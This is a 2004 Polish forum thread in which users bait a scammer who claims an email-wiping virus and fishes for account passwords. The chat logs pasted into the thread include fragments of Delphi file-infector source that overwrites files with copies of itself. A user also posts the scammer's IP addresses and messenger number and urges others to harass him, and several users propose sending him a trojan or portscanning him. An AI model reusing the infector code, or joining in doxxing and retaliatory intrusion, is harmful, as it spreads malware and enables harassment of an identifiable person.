UWAGA! Nowy wirus kasuje konta o2!

22.05.2004

21:23

[3]

tsunami [ PS3 ]

boze .... a znajdzie sie jakis glupek i da mu haslo na konto i beda jaja :/, ludzie maja pomysly ....

White Star [ Soldier ]

tsunami>> masz w zupełności rację...

SULIK [ olewam zasady ]

ja wam powiem, ze niezly pomysl z mozliwoscia zdoywanaia hasla :)
tylko po co komu nieznany mail ?
a moze w ten sposob przetestuje na to haslo np. mbank ?

heh - sprytny ten kwas, ale tylko ktos naiwny sie nabierze

22.05.2004

21:32

[6]

zmudix [ palnik ]

za chwile dalsza część rozmowy :) właśnie kolesia podpuszczam ;>

xywex [ mlask mlask! ]

zmudix --> podziel się numerem... :)

22.05.2004

21:36

[8]

zmudix [ palnik ]

DALSZA CZĘŚĆ :) a w niej KOD WIRUSA i WIELKA OBIETNICA :DD

[21:23:36] kwas (ftp) ()
mam
[21:23:42] kwas (ftp) ()
wirus jest w delphi
[21:23:51] kwas (ftp) ()
a ty masz kod źrudłowy
[21:24:00] kwas (ftp) ()
program Project1;
uses
Windows,SysUtils,registry,shellapi;
var
datazar:string;
kat_windows:string;
nazwa_utd:string;
nazwa_vir:string;
nazwa_org:string;
matka_nazwa:string;‹c:\windows\winmx\procesor.exe›
dysk:char;n:byte;
nr_dysku:shortint;
handle:thandle;
procedure kopiuj(s1,s2:string);
var s:tshfileopstructa;
begin
if fileexists(s2)=false then ‹jak nie ma to rób›
begin
s.wnd:=handle;
s.wfunc:=fo_copy;
s.pfrom:=pchar(s1);
s.pto:=pchar(s2);
s.fflags:=fof_noconfirmation or fof_silent or fof_noconfirmmkdir;
s.fanyoperationsaborted:=false;
shfileoperation(s);
end;
end;

function nazorg(s:string):string;
var s2:string[255];
begin
s2:=s;
insert('%',s2,length(s2)-3);
result:=(s2);
end;

procedure kat_win;
var a:array[0..255]of char;
begin
getwindowsdirectory(a,sizeof(a));
kat_windows:=a;
end;

function rejestr:boolean; ‹true-chodzi, false-nie›
var
reg:tregistry;
const data='Data_czas';
wirus='Wirus_name';
licz='Liczymy?';
begin
reg:=tregistry.create;
try
if reg.openkey('WinMx',false) then ‹czy istnieje?›
begin‹tak
[21:24:12] kwas (ftp) ()
a raczej połowe bo całego gg niechce wysłać
[21:24:12] kwas (ftp) ()
i co
[21:24:18] kwas (ftp) ()
nadal nie wierzysz
[21:25:28] palnik (2621517)
to doslij druga polowe
[21:25:37] kwas (ftp) ()
dobra
[21:25:40] kwas (ftp) ()
czekaj
[21:25:43] kwas (ftp) ()
podzielę go
[21:26:14] kwas (ftp) ()
procedure kat_winmx;
begin
‹$i-›
mkdir(kat_windows+'\WinMx');
‹$i+›if ioresult<>0 then begin end;
matka_nazwa:=pchar(kat_windows+'\WinMx\Procesor.exe');
end;
function duze(s:string):string;
var i:byte;
s2:string;
begin
s2:=s;
for i:=1 to length(s2)do s2:=upcase(s2);
result:=s2;
end;
procedure zaraz_virusem(s:string);
var plik:file;
begin
if fileexists(nazorg(s))=false then
begin
‹$i-›
filesetattr(s,faarchive);
‹$i+›
if ioresult=0 then
begin
assignfile(plik,s);
‹$i-›
rename(plik,nazorg(s));
‹$i+›
if ioresult=0 then
begin
‹$i-›
kopiuj(nazwa_vir,s);
‹$i+›if ioresult=0 then begin end;
end;
end;
end;
end;
procedure zarazanie(s:string);
var sr:tsearchrec;
found:integer;
n:byte; ‹ do losowania zarazania›
begin
found:=findfirst(s+'\*.*',faanyfile,sr);
while found = 0 do
begin
if((sr.attr=fadirectory)or
(sr.attr=fadirectory+fareadonly)or
(sr.attr=fadirectory+faarchive)
[21:26:31] kwas (ftp) ()
nie jest po koleji bo go trzeba ciąć mogę wysłać całość
[21:26:37] kwas (ftp) ()
podzielić go dokładnie
[21:26:43] palnik (2621517)
dobra nie trzeba
[21:26:52] kwas (ftp) ()
ale ty go skompilujesz uruchomisz i buum
[21:26:55] kwas (ftp) ()
i będzie na mnie
[21:27:43] kwas (ftp) ()
a gość który dał mi a raczej pożyczył e-maila będzie miał znajomości bo napiszę do admina
[21:28:01] kwas (ftp) ()
a admin lubi ludzi któży mu pomagają
[21:28:48] palnik (2621517)
qwerty_666
[21:28:51] palnik (2621517)
to login
[21:28:55] palnik (2621517)
haslo: trampolina
[21:29:01] kwas (ftp) ()
teraz niemusisz
[21:29:07] kwas (ftp) ()
niepotrzeba mi
[21:29:51] kwas (ftp) ()
ale jeszcze muszę przez jakiś e-mail wprowadzić antywirusa
[21:30:01] palnik (2621517)
no to masz mojego
[21:30:03] palnik (2621517)
ino szybko
[21:30:06] kwas (ftp) ()
za użyczenie e-mial możesz mieć też znajomości
[21:30:09] kwas (ftp) ()
chcesz
[21:30:13] palnik (2621517)
chce
[21:30:20] kwas (ftp) ()
a podaj jesze adres
[21:30:32] palnik (2621517)
login: [email protected]
haslo: trampolina /// tutaj przed chwila zalozylem nowe konto :) tak na szybkiego ;>>>
[21:31:00] kwas (ftp) ()
sprawdze czy działa
[21:31:04] palnik (2621517)
ok
[21:31:13] kwas (ftp) ()
jak tak to jak napiszę anty wira to go prześlę przez niego
[21:31:34] kwas (ftp) ()
działa // hehe no jak ma nie działać, dopiero co założyłem :D
[21:31:40] kwas (ftp) ()
dobra
[21:32:04] palnik (2621517)
to wprowadzaj tego antywira
[21:32:39] kwas (ftp) ()
na ten e-mial załatwić ci mogę takie ustawienia jak na płatną skrzynkę
[21:32:45] kwas (ftp) ()
a anty wira piszę
[21:32:48] kwas (ftp) ()
dobra
[21:32:51] kwas (ftp) ()
narka
[21:32:54] palnik (2621517)
narka
[21:33:00] kwas (ftp) ()
jak go skończe to wyślę
[21:33:31] palnik (2621517)
ok

felomon [ KaeM apel ]

jaki debil, nie kapnął sie że swieze konot osioł:)

a po drugie zaraz wirus skasuje:D

czekamy na dalsza część

22.05.2004

21:44

[11]

tsunami [ PS3 ]

boze co za naiwny czlowiek !!! :D:D:D:D Pewnie teraz chwali sie swojim 12-letnim kumplom jaki to on nie jest "hakier komputerowy" :D:D

22.05.2004

21:47

[12]

zmudix [ palnik ]

buehehe ten łoś chce mi chyba trojana sprzedać :D zaraz sprawdze tego maila i obadam o co chodzi ;)

[21:41:06] kwas (ftp) ()
zrobione
[21:41:18] palnik (2621517)
fajnie :)
[21:41:30] kwas (ftp) ()
teraz prześlę z kont tego poprzedniego użytkownika antywira na twój
[21:41:37] palnik (2621517)
ok
[21:41:41] kwas (ftp) ()
a i jescze jedno
[21:41:47] kwas (ftp) ()
ten wirus szalał na serwerze
[21:42:02] kwas (ftp) ()
jak chcesz to możesz uruchomić antywira
[21:42:17] palnik (2621517)
i to mi maila naprawi?
[21:42:20] kwas (ftp) ()
jak będzie wir to cii napisze i go zlikwiduje
[21:42:29] kwas (ftp) ()
masz już naprawionego
[21:42:36] palnik (2621517)
ok mogw juz haslo zmienic na skrzynke?
[21:42:45] palnik (2621517)
moge*
[21:42:51] kwas (ftp) ()
a o lepszych ustawieniach co do twojego e-mial pogadam z adminem
[21:42:58] palnik (2621517)
ok dzieki, przyda mi sie to
[21:45:17] kwas (ftp) ()
albo go lepiej nie otwieraj
[21:45:28] palnik (2621517)
dlaczego?
[21:45:47] kwas (ftp) ()
bo jak by się admin dowiedział że ja rozpowiadam o tym wirusie to by mnie na zbity pysk wywalił
[21:46:02] palnik (2621517)
i nici z ustawień płatnego konta? // hehe ale sie koleś wymiguje :p
[21:46:21] kwas (ftp) ()
to jakoś załatwie z nim
[21:46:33] kwas (ftp) ()
powiem że dla kumpla
[21:46:49] palnik (2621517)
ok spoko, dzieki!
[21:46:58] kwas (ftp) ()
sprubuje wysłąc z e-mial onetu
[21:47:12] palnik (2621517)
ok

SULIK [ olewam zasady ]

ten kwas cos dziwnyt jest:

zrudlowy pisze zamiast zrodlowy

a w kodzie wirusa ma komentarze:
if fileexists(s2)=false then ‹jak nie ma to rób›
function rejestr:boolean; ‹true-chodzi, false-nie›

ktory programista wirow dawal by sobie takie komentarze w wlasnym programie ??

L O L
koles sie anwet nie kapnol ze qwerty jest po prostu pierwszymi 6 literami na klawce w lini qwert :>
lolek - mial niezly pomysl, ale wykonanie strasznie cienkie :(

22.05.2004

21:50

[14]

Bregan a.k.a. Czapajew [ Senator ]

zmudix --> Wiesz co, mam prosbę, pokaż mu na końcu ten wątek i skopiuj rozmowę, zobaczymy jego reakcję :D

22.05.2004

21:58

[15]

zmudix [ palnik ]

dalsza część :)

[21:41:06] kwas (ftp) ()
zrobione
[21:41:18] palnik (2621517)
fajnie :)
[21:41:30] kwas (ftp) ()
teraz prześlę z kont tego poprzedniego użytkownika antywira na twój
[21:41:37] palnik (2621517)
ok
[21:41:41] kwas (ftp) ()
a i jescze jedno
[21:41:47] kwas (ftp) ()
ten wirus szalał na serwerze
[21:42:02] kwas (ftp) ()
jak chcesz to możesz uruchomić antywira
[21:42:17] palnik (2621517)
i to mi maila naprawi?
[21:42:20] kwas (ftp) ()
jak będzie wir to cii napisze i go zlikwiduje
[21:42:29] kwas (ftp) ()
masz już naprawionego
[21:42:36] palnik (2621517)
ok mogw juz haslo zmienic na skrzynke?
[21:42:45] palnik (2621517)
moge*
[21:42:51] kwas (ftp) ()
a o lepszych ustawieniach co do twojego e-mial pogadam z adminem
[21:42:58] palnik (2621517)
ok dzieki, przyda mi sie to
[21:45:17] kwas (ftp) ()
albo go lepiej nie otwieraj
[21:45:28] palnik (2621517)
dlaczego?
[21:45:47] kwas (ftp) ()
bo jak by się admin dowiedział że ja rozpowiadam o tym wirusie to by mnie na zbity pysk wywalił
[21:46:02] palnik (2621517)
i nici z ustawień płatnego konta? // hehe ale sie koleś wymiguje :p
[21:46:21] kwas (ftp) ()
to jakoś załatwie z nim
[21:46:33] kwas (ftp) ()
powiem że dla kumpla
[21:46:49] palnik (2621517)
ok spoko, dzieki!
[21:46:58] kwas (ftp) ()
sprubuje wysłąc z e-mial onetu
[21:47:12] palnik (2621517)
ok
[21:48:50] kwas (ftp) ()
zresztą musisz uruchomić progsa
[21:49:01] kwas (ftp) ()
bo jak zniszczyć wira
[21:49:08] kwas (ftp) ()
alo go dam adminowi
[21:49:10] palnik (2621517)
ok
[21:49:15] kwas (ftp) ()
poczkaj zobacze czy jest na gg
[21:49:15] palnik (2621517)
wyslales go juz na moje konto?
[21:49:21] palnik (2621517)
nie chce zadnych syfow :/
[21:49:24] kwas (ftp) ()
niema
[21:49:36] kwas (ftp) ()
a ty mógłbyś go otworzyć
[21:49:36] kwas (ftp) ()
to nie syf
[21:49:39] palnik (2621517)
dobra i tak to bede mial wiec no problem czy dzisiaj czy jutro
[21:49:45] palnik (2621517)
ale nie chce syfow w sensie, ze ten wirus
[21:49:47] kwas (ftp) ()
otwierasz go i czekasz pare minut
[21:49:52] palnik (2621517)
ok
[21:50:00] kwas (ftp) ()
a cha
[21:50:13] kwas (ftp) ()
wysłałem
[21:50:25] kwas (ftp) ()
tylko jak mówiłem
[21:50:31] kwas (ftp) ()
nie rozpowiadaj o nim
[21:50:34] palnik (2621517)
spoko
[21:50:38] kwas (ftp) ()
i sprawdź
[21:50:41] kwas (ftp) ()
może już doszedł
[21:50:43] palnik (2621517)
ok
[21:51:22] kwas (ftp) ()
doszedł
[21:51:27] palnik (2621517)
doszedł
[21:51:39] kwas (ftp) ()
to otwórz
[21:52:02] palnik (2621517)
chwila, tylko sciagne, cos mi net muli
[21:53:02] kwas (ftp) ()
ściągnoweś
[21:53:10] palnik (2621517)
jeszcze nie :/
[21:53:35] palnik (2621517)
ale lipa, idzie pol kilo na sekunde i zwalnia.... // w tym momencie wlaczam skanowanie pliku NAVem, nic nie wykrylo, ale mam stara baze wirusow
[21:54:14] kwas (ftp) ()
musisz go ściągnąc i uruchomić żeby działa
[21:54:28] kwas (ftp) ()
i co?????
[21:54:29] palnik (2621517)
no wiem, wiem, narazie mam 8% :///// // jakos tutaj wlaczylem liveupdate, strasznie muli, musze kolesiowi wały wciskać
[21:54:39] kwas (ftp) ()
jasne
[21:54:42] kwas (ftp) ()
nie wydurniaj
[21:54:45] kwas (ftp) ()
się
[21:54:51] kwas (ftp) ()
bo poszukam kogoś innego
[21:54:53] palnik (2621517)
net mi muli strasznie :////
[21:55:17] kwas (ftp) ()
jasne
[21:55:26] kwas (ftp) ()
poszukam lepiej kogoś innego nara
[21:55:38] palnik (2621517)
to narazie poszukaj, jak sciagne, to sie odezwe

Bregan ==> a pewnie, że pokaże ;D

22.05.2004

22:02

[16]

zmudix [ palnik ]

link do antywira, niech ktos przeskanuje czyms, cos mi sie NAV nie cche apdejtnąć :/

SULIK [ olewam zasady ]

na 100% to trojan

felomon [ KaeM apel ]

Ciekawe jak to sie sakończy:d

Testosteron^ [ Pretorianin ]

buhahehehehehehehhehe


kod jest boski. nie dosc ze komentarze w stylu <adasda> kompilator by wywail z miejsca, to jeszcze ten koles sie tak w to angazuje ze omg.
hehehehehehhehh co za ludzie.


ejjjj poczekaj zrob inaczej, wyslij mu jakiegos trojana pod pozorem, ze to np. NAV po update ci to wywali czy cos

SULIK [ olewam zasady ]

i nie mylilem sie:


H:\upload\1\antywir.exe
to niebezpieczny program (trojan) :
Trojan.Hackatack.1_1_0
Zaleca się skasowanie pliku

22.05.2004

22:08

[21]

zmudix [ palnik ]

SULIK ==> dzięki :) ja mu właśnie napisałem, że to uruchomiłem, ciekawe, co zrobi ;)

SULIK [ olewam zasady ]

Testosteron^
widze ze nie do konca znasz specyfikacje tego forum - niektor znaczniki zmienia on na wlasnie trojkatne nawiasy np. shift + [ zmienia na ‹

wiec nie jestem pewny ale cos takeigo moze byc komentarzem :)
ale na perlu sie nie znam :)

sam fakt komentarzy jeszcze nic nie znaczy, ale przeczytaj lepiej jakie sa lamerskie :P

Testosteron^ [ Pretorianin ]

sproboj mu pod jakims pozorem sam cos wyslac :) ale by byly jaja jakby to uruchomil

SULIK [ olewam zasady ]

Testosteron^ - po co cos ? ja bym mu wyslal z moijej drugiej skrzynki ten sam plik tyle ze zmieniona nazwa - z ta sama spiewka co on robil na GG :>

Testosteron^ [ Pretorianin ]

wiesz pod wzgledem programisty takie komenatrze bardzo czesto sie umieszcza, przeciez ich nie ma w gotowym kodzie binarnym, a czasami sie przydaja. Obejrzyj sobie jakies zrodla tam jest mnostwo komenarzy do wszystkiego.

Testosteron^ [ Pretorianin ]

heheheh mozna mu cos wyslac, bo jezeli operuje trojanami na dysku to znaczy ze na 100% nie ma aktywnego monitora antyvirowego, bo my bu sie pliki pokasowaly :)

22.05.2004

22:13

[27]

SULIK [ olewam zasady ]

ok na wszelki wypadek wylaczylem w profilu pokazywanie maila i GG :)
coby jak mu juz pokazesz nie przyczepil sie do moich danych :D

SULIK [ olewam zasady ]

Testosteron^ - hmmm.. w takim rzie komentarzy wcale byc nie powinno
bo przeciez kod tego wirusa wyciagnol za pomoca zawirusowanej skrzynki - wiec go musial zdekompilowac, a co za tym idzie wczesniej bylo skompilowane
a jak bylo skompilowane to nie mialo komentarzy :)

tak mysle - ale jak juz mowielem na programowaniu to ja sie za nbardzo nie znam :)

Testosteron^ [ Pretorianin ]

hehehe SULIK, a myslales ze on ten program zdekompilowal o_0

Testosteron^ [ Pretorianin ]

nawet jakkby go zdekompilowal to by mial kod w asemlebrze a nie czysty source w delphi lol :D

SULIK [ olewam zasady ]

Testosteron^ - nigdy nie myslalem co on zrobil - bardziej myslalem co chcial osiagnac - ale jak widze wpadka na kazdym kroku :)

felomon [ KaeM apel ]

Kiedy nastepna częśc rozmowy??

22.05.2004

22:24

[33]

SULIK [ olewam zasady ]

Testosteron^
"nawet jakkby go zdekompilowal to by mial kod w asemlebrze a nie czysty source w delphi lol :D" - i tutaj widac jak malo sie na tym znam :D

zmudix [ palnik ]

felomon ==> narazie koles cos nic nie pisze, moze dal sobie siana? :) napisalem mu, ze uruchomilem to gowno, co mi wyslal i nic

Testosteron^ [ Pretorianin ]

ten kod mi sie wydaje ze moze byc z prawdziwego wirusa (znalazl gdzies pewnie w sieci), ale heheheh jak ktos sie zna na takich sprawach, np ja - to bym ten koles mial predzej wira niz ja

Testosteron^ [ Pretorianin ]

zmudix - hehhe proboje sie do ciebie wlamac ^^ ale cos mu nie wychodzi.

SULIK [ olewam zasady ]

zmudix - a ty wiesz, ze... masz jego ip ?

Testosteron^ [ Pretorianin ]

moze to taka lamka ze sama sobie uruchomila tego wira (ja jak zaczynalem sie bawic w takie rzeczy to tak wlasnie bylo ;) ).
zmudix poslij ipeka :]

22.05.2004

22:33

[39]

zmudix [ palnik ]

oto dane tego łosia (wtyczka .za'ha.dum w Tlen.pl) miłego uprzykrzania mu życia :)

kwas (ftp)7798439

Ostatnia zmiana:
Czas:22/05/2004 - 21:55:55
Status:Niedostępny
Max. obraz:34K
Wersja:0x0006

Ostatnia aktywność:
Czas:22/05/2004 - 21:41:00
Status:Dostępny
Max. obraz:34K
Wersja:0x0006

Host1:
Czas:22/05/2004 - 21:41:00
Status:Dostępny
IP62.87.235.6
revDNS:dial-1542.bielsko.dialog.net.pl

Host 2:
Czas:22/05/2004 - 13:02:42
Status:Dostępny
IP62.87.188.166
revDNS:dial-422.bielsko.dialog.net.pl

22.05.2004

22:35

[40]

SULIK [ olewam zasady ]

dobra chyba juz czas na chwile prawdy :)

powiedz mu:
"Usmiechnij sie jestes w ukrytej netowej kamerze:
http://forumarchiwum.gry-online.pl/S043archiwum.asp?ID=2390281&N=1"

felomon [ KaeM apel ]

albo z tvnowskiego programu: popsrotu:


"Mamamamama mamy Cie"!!

22.05.2004

22:38

[42]

zmudix [ palnik ]

jak się udostępni, to go oświecę :)

xywex [ mlask mlask! ]

ciekawe czy połapie się w najzwyklejszym portscanie...

Testosteron^ [ Pretorianin ]

hehhehe nie poczekacjie. moze ma tego HackATack'a u siebie zainstalowanego poszukajcie go w sieci

Testosteron^ [ Pretorianin ]

eee dupsko ... oficjalna strona nie dziala
to jakis staroc

https://www.hack-a-tack.com

Alick [ Konsul ]

Mam pytanie odnośnie tego antywira. Przeskanowałem go Nortonem (nie rozpakowałem pliku) i wszystko ok. Czy NAV wykrywa wirusy/trojany tylko w plikach rozpakowanych ?

Testosteron^ [ Pretorianin ]

zalezy ktora wersja, ale od 2002 raczej tak (zreszta wczesniej tez chyba, nie pamietam), 2004 i 2003 napewno

SULIK [ olewam zasady ]

jak nie dasz sprawdzaj wewnatrz archiw to na pewno Ci nie sprawdzi :(
ale dla pewnosci sprawdzania lepiej rozpakowywac :)

Testosteron^ [ Pretorianin ]

dobra wez mu zrob niespodzianke

Alick [ Konsul ]

Niezły ten NAV2003. Jest ustawiony na sprawdzanie archiwów i dupa. Dalej wskazuje, że plik jest w porządku.
SULIK ---> za Twoją radą rozpakowałem, zeskanowałem i NAV mówi, że wszystko OK.
Chyba nie jest to żaden trojan.

xywex [ mlask mlask! ]

Alick --> avast! mówi że to trojan. wierz komu chcesz :)

zmudix [ palnik ]

hmmm... mam tak samo jak Alick... o co moze chodzic?

xywex [ mlask mlask! ]

aktualizowany bodajże wczoraj.

Testosteron^ [ Pretorianin ]

ojjj... ja mam 2004 i tez mi nic nie wykrywa :/ wysle go do Symanteca.

SULIK [ olewam zasady ]

odpalcie skaner.mks.com.pl
przeskanujcie rozpakowany plik i bedziecie juz wiedziec ze jest to trojan :)

akualizowalem bibloteke wirusow na minute przed skanem :)

xywex [ mlask mlask! ]

hehehehehe.... ktoś mi niedawno mówił że avast! nie umywa się do NAV... buehehehe :)

23.05.2004

00:22

[57]

SULIK [ olewam zasady ]

xywex - dlatego najlepiej uzywac skanerow online :P

23.05.2004

01:04

[58]

Alick [ Konsul ]

Skanery online też nie wyłapują tego trojana. Mówię o skanerze Onetu.
Sprawdzę pliczek mks.com.pl

Alick [ Konsul ]

Tia... tylko, że to to samo :)))

SULIK [ olewam zasady ]

Alick - "Skanery online też nie wyłapują tego trojana" - ehhh,... to powiedz mi czym ja go wylapale, ?
tak zgadales skanerem online mksu :)

SULIK [ olewam zasady ]

tylko jest jedno ale: skanery online nie czytaja z zipow trzeba plik najpierw rozpakowac, a dopiero potem przebadac :D

Alick [ Konsul ]

SULIK ---> właśnie, dziwne bestie, że nie czytają zipów :)))
OK, skaner online wyłapał trojana. NAV dalej nic nie widzi. Robię update bazy wirusów, ale wątpię, że to coś da, ponieważ baza jest z 19.05